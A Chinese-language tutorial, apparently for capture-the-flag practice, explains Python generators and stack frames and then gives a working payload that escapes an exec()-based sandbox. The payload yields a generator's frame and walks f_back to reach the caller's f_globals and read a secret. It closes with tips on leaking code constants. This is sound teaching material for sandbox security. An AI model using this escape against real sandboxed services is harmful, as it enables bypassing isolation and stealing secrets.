1. 认识生成器(Generator)
- 概念:类似于给进程打了一个断点,将一个连续的执行流程变成了迭代器。
- 特性:支持
next()方法以及正常的迭代器访问(如for循环)。
简单示例:
def my_generator():
print("开始执行...")
a = 1
yield a # 暂停并返回 a
print("继续执行...")
yield 2
gen = my_generator() # 此时函数体内的代码并不会立即执行
print(gen) # <generator object ...>
2. 栈帧(frame)
基础分析
def my_generator():
a = 1
yield 1
gen = my_generator()
# 获取生成器的当前帧信息
frame = gen.gi_frame
# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals.keys()) # 精简输出
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)
初始状态输出(未执行 next):
Local Variables: {}
Global Variables: dict_keys(['__name__', '__doc__', ..., 'gen'])
Code Object: <code object my_generator at 0x...>
Instruction Pointer: -1
执行分析
如果在代码中加入 gen.__next__() 之后再查看栈帧信息,状态会发生变化:
Local Variables: {'a': 1}
Instruction Pointer: 6
结论: 调用生成器函数仅仅是创建并返回了一个生成器对象。只有在第一次请求数据(如调用 next())时,代码才会开始真正的执行,此时局部变量才会被创建,指令指针开始移动。
3. 利用栈帧沙箱逃逸
示例代码(Payload)
s3cret = "this is flag"
# 构造恶意代码字符串
codes = '''
def waff():
def f():
# 这里是惰性调用,Python 在定义函数时不会检查 g 是否存在
# g.gi_frame 是生成器 g 此时的栈帧
# 通过 yield 把自身的栈帧抛出来,此时该栈帧还连接着上层调用者
yield g.gi_frame.f_back
g = f()
# 第一次 next(g) 会执行到 yield,此时返回的是 f 的调用者的栈帧 (即 waff 的栈帧)
# frame = [x for x in g][0] 和 frame = next(g) 是等价写法
frame = next(g)
# frame.f_back 指向 exec 的栈帧
# frame.f_back.f_back 指向 main 的栈帧
# 通过 main 栈帧的 f_globals 获取全局变量 s3cret
b = frame.f_back.f_back.f_globals['s3cret']
return b
b = waff()
'''
locals_dict = {}
code = compile(codes, "test", "exec") # 创建一个沙箱环境
exec(code, locals_dict)
print(f"获取到的秘密: {locals_dict['b']}")
思路分析
1. 攻击链条: main (全局) -> exec (沙箱入口) -> waff -> f (生成器)
2. 对比实验(为什么必须这样写?): 如果不使用上述的自引用方式,而是试图在外部访问 f_back:
def waff():
def f():
yield 1
g = f()
print(f"刚创建时 f_back: {g.gi_frame.f_back}")
next(g) # 跑一步,遇到 yield 暂停并返回
print(f"暂停后 f_back: {g.gi_frame.f_back}")
waff()
对比输出:
刚创建时 f_back: None
暂停后 f_back: None
结论: 当 yield 语句执行完毕并将控制权交还给主程序时,生成器处于“暂停”状态,此时 Python 解释器将栈帧之间的动态调用链路断开。因此,我们必须在生成器内部通过 yield 把上层栈帧对象直接“偷”出来。
4. 其它作用
信息收集
**1. frame.f_code:对象中的属性
**2. code.co_consts:对象常量池(若有回显过滤考虑逐字输出)